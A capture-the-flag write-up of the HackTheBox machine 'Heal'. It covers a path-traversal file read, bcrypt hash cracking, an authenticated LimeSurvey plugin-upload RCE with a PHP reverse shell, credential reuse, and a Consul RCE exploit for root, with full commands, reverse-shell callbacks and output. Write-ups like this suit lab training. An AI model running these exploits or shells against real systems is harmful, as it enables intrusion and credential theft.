Post

HackTheBox - Heal


Heal from HackTheBox starts with a path traversal vulnerability allowing us to read file on the system and finding password hashes on one of the files. After that we exploit an RCE on lime survey giving us foothold on the box. For root we find a listening port running consul, we forward the port and exploit another RCE to get a root shell.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.46
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two open ports, the first one is 22 running ssh and the second is 80 running nginx.

The Nmap scripts also revealed the domain heal.htb so let’s add it to our /etc/hosts /file before we continue.

Web

Let’s navigate to the web page.

web

We got a login page, we don’t have any credentials so let’s register a user and login.

logged

We got to the resume builder, clicking on the survey button asks us to take a survey and opening a page that goes to take-survey.heal.htb. Let’s add it to our /etc/hosts file and refresh the page.

limesurvey

This website uses lime survey. We identify user ralph

Searching for possible exploits we find an RCE(Remote Code Execution) but it’s authenticated and we don’t have any credentials.

Back to the resume builder, if we scroll down we find the button EXPORT AS PDF clicking on it doesn’t do anything.

If we check our burp history we see a request made to api.heal.htb

burp

Let’s add the host to our /etc/hosts file and click the button again.

pdf

This generated a pdf file and downloaded it to our box.

Let’s check burp history and see what requests were made.

brupreq

The information we fill is sent to the server in form of json data and the server responds with the name of the pdf file; d62658c339bec8eb13c4.pdf.

Then a request is sent using GET method to /download page with the parameter filename, and we also see an authorization header holding what looks like JWT token.

Let’s use this information and try reading /etc/passwd file.

passwd

We got the file!

Let’s fuzz for other files using ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ffuf -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -u http://api.heal.htb/download?filename=FUZZ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lk
IjoxMH0.1HGjddQjtuWidz164C3dJQJ2hs4S2YayWCU5TFsrzaE' -fs 0,64                                                                                                                                 
                                                                                                                                                                                              
        /'___\  /'___\           /'___\                                                                                                                                                       
       /\ \__/ /\ \__/  __  __  /\ \__/                                                        
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://api.heal.htb/download?filename=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
 :: Header           : Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMH0.1HGjddQjtuWidz164C3dJQJ2hs4S2YayWCU5TFsrzaE
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,64
________________________________________________

/etc/passwd             [Status: 200, Size: 2120, Words: 18, Lines: 40, Duration: 104ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 2120, Words: 18, Lines: 40, Duration: 214ms]
[...]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 864, Words: 1, Lines: 66, Duration: 2112ms]
../../../../../proc/self/fd/15 [Status: 200, Size: 32768, Words: 106, Lines: 20, Duration: 2099ms]
../../../../../../../../../../../../../proc/self/fd/17 [Status: 200, Size: 32768, Words: 1, Lines: 1, Duration: 2117ms]

We got /proc/self/fd/15 and 17, let’s request them on burp.

pass

We found password hashes on /proc/self/fd/15 including user ralph who’s the administrator on lime survey.

Let’s crack his password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
λ .\hashcat.exe hashes.txt rockyou.txt -m 3200                                         
hashcat (v6.2.6) starting                                                              
                                                                                       
[...]                                                           
                                                                                       
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369                 
                                                                                       
Session..........: hashcat                                                             
Status...........: Cracked                                                             
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))                                 
Hash.Target......: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9S...GCSZnG        
Time.Started.....: Sat May 17 18:34:56 2025 (56 secs)                                  
Time.Estimated...: Sat May 17 18:35:52 2025 (0 secs)                                   
Kernel.Feature...: Pure Kernel                                                         
Guess.Base.......: File (rockyou.txt)                                                  
Guess.Queue......: 1/1 (100.00%)                                                       
Speed.#1.........:       28 H/s (12.74ms) @ Accel:1 Loops:1 Thr:16 Vec:1               
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)          
Progress.........: 1536/14344384 (0.01%)                                               
Rejected.........: 0/1536 (0.00%)                                                      
Restore.Point....: 0/14344384 (0.00%)                                                  
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4095-4096                            
Candidate.Engine.: Device Generator                                                    
Candidates.#1....: 123456 -> mexico1                                                   
                                                                                       
Started: Sat May 17 18:34:38 2025                                                      
Stopped: Sat May 17 18:35:53 2025                                                      

We got the password, now let’s try login in on lime survey at http://take-survey.heal.htb/index.php/admin/authentication/sa/login.

lime

Foothold

I found earlier an Authenticated RCE on slime survey, let’s use it.

We can find the exploit here https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.

Before running the exploit we need to change the ip address in the php-rev.php file to our tun0 ip address, make another zip with the name Y1LD1R1M.zip and finally change the target in the python script from localhost:3000 to lime-survey.heal.htb

Running the exploit doesn’t give us anything unfortunately, let’s do it manually then.

The exploit uploads a zip file as a plugin.

plug

After selecting the file and clicking on install we get an error.

error

The error say that the plugin is not compatible with the current version of lime survey.

The version running is 6.6.4 and after checking the config.xml used by the exploit author we see him using the following:

1
2
3
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>

Let’s change one of the version’s value to 6.0 and try again.

worked

We managed to upload it, now let’s install it, setup our listener and navigate to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php to trigger the php reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[★]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.57] from (UNKNOWN) [10.10.11.46] 47086
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 17:53:31 up  7:35,  2 users,  load average: 0.03, 0.10, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ron      pts/0    10.10.14.27      15:43    2:02m  0.03s  0.03s -bash
ron      pts/1    10.10.14.80      17:35   17:23   0.03s  0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@heal:/$ export TERM=xterm
export TERM=xterm
www-data@heal:/$ ^Z
zsh: suspended  nc -lvnp 9001
                                                                                                                                                                                              
┌──[10.10.16.57]─[sirius💀parrot]-[~/ctf/htb/heal]
└──╼[★]$ stty raw -echo; fg                                                            
[1]  + continued  nc -lvnp 9001

www-data@heal:/$

We got a shell!

Privilege Escalation

www-data -> ron

As with any web application, let’s check for any config file that might contain a password.

On /var/www/limesurvery/application/config/config.php we find credentials to the database.

return array(                                                                                  
        'components' => array(                                                                                                                                                                
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,                                                                                                                                             
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',                                                                                                                                     
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',       

Trying the password with user ralph fails but it works with user ron.

1
2
3
4
5
www-data@heal:~/limesurvey/application/config$ su ron
Password: 
ron@heal:/var/www/limesurvey/application/config$ cd
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)

ron -> root

Now running netstat -tulpn we find a bunch of open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ron@heal:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:41012           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8301          0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8302          0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8600          0.0.0.0:*                           -                   
udp6       0      0 :::5353                 :::*                                -                   
udp6       0      0 :::40996                :::*                                - 

With curl I tried requesting each one of them, I got not allowed on most of them but I got a hit on port 8500.

1
2
3
4
5
6
7
8
ron@heal:~$ curl 127.1:8300
curl: (56) Recv failure: Connection reset by peer
ron@heal:~$ curl 127.1:8302
curl: (1) Received HTTP/0.9 when not allowed
ron@heal:~$ curl 127.1:8301
curl: (1) Received HTTP/0.9 when not allowed
ron@heal:~$ curl 127.1:8500
<a href="/ui/">Moved Permanently</a>.

Let’s forward the port using ssh

1
ssh ron@heal.htb -L 8500:127.0.0.1:8500

Now let’s navigate to 127.0.0.1:8500

consul

We got consul by hashicorp v1.19.2.

Searching on exploit-db for consul we find an RCE exploit https://www.exploit-db.com/exploits/51117

Let’s download it and run it.

1
2
3
[★]$ python exp.py                                                     

[-] Usage: python3 exp.py <rhost> <rport> <lhost> <lport> <acl_token>

The exploit takes some arguments, the one we don’t have is the acl_token. I looked for it on the website and on burp history but couldn’t find any.

Trying the exploit with a randon strings as a token actually worked!!

1
2
3
4
python exp.py 127.0.0.1 8500 10.10.16.57 9002 asdfasdfasdfasdfasdf

[+] Request sent successfully, check your listener

I checked my listener and I got a root shell

1
2
3
4
5
6
7
8
9
[★]$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.57] from (UNKNOWN) [10.10.11.46] 51044
bash: cannot set terminal process group (91377): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/#

Prevention and Mitigation

References


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.